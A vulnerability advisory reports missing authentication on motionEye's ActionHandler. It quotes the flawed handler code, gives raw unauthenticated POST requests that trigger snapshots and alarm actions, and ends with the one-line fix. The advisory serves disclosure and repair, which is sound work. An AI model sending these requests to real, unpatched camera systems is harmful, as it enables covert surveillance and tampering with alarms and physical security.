motionEye's missing authentication on ActionHandler allows unauthenticated camera action execution

Summary

The ActionHandler.post() method in motionEye has no authentication decorator, allowing any unauthenticated attacker to trigger camera actions including snapshots, recording start/stop, and configured action scripts (PTZ controls, alarm triggers, etc.).

Vulnerability Details

File: motioneye/handlers/action.py — ActionHandler.post() line 36 CWE: CWE-862 — Missing Authorization CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium

Vulnerable Code

class ActionHandler(BaseHandler):
    async def post(self, camera_id, action):   # ← NO @BaseHandler.auth() decorator
        camera_id = int(camera_id)
        if camera_id not in config.get_camera_ids():
            raise HTTPError(404, 'no such camera')
        ...
        if action == 'snapshot':
            await self.snapshot(camera_id)   # executed without auth
            return
        elif action == 'record_start':
            return self.record_start(camera_id)
        elif action == 'record_stop':
            return self.record_stop(camera_id)

        action_commands = config.get_action_commands(local_config)
        command = action_commands.get(action)
        ...
        self.run_command_bg(command)   # executes predefined shell scripts

Compare with other handlers that correctly require authentication:

@BaseHandler.auth(admin=True)   # ← properly protected
async def delete(self, camera_id, filename):
    ...

Steps to Reproduce

1. Deploy motionEye with at least one camera configured
2. Send unauthenticated POST:

POST /action/1/snapshot HTTP/1.1
Host: motioneye-host:8765
Content-Length: 0

3. Observe {} (HTTP 200) response — snapshot triggered without any credentials

For action scripts (lock, unlock, alarm_on, alarm_off, light_on, etc.):

POST /action/1/alarm_on HTTP/1.1
Host: motioneye-host:8765

Impact

• Unauthenticated attacker can trigger camera snapshots on demand
• Unauthenticated attacker can start/stop video recording
• If action scripts are configured by admin: attacker can trigger PTZ movement, alarm control, lighting changes — physical security bypass
• Via remote cameras: SSRF by triggering action on a remote motionEye server

Verification

Dynamically confirmed on v0.43.1 in Docker lab — POST /action/2/snapshot with no credentials returns HTTP 200 {}. Server log shows the action was processed (failed only because motion daemon was not running for the test camera, not due to an auth rejection).

Recommended Fix

class ActionHandler(BaseHandler):
    @BaseHandler.auth()   # add authentication requirement
    async def post(self, camera_id, action):
        ...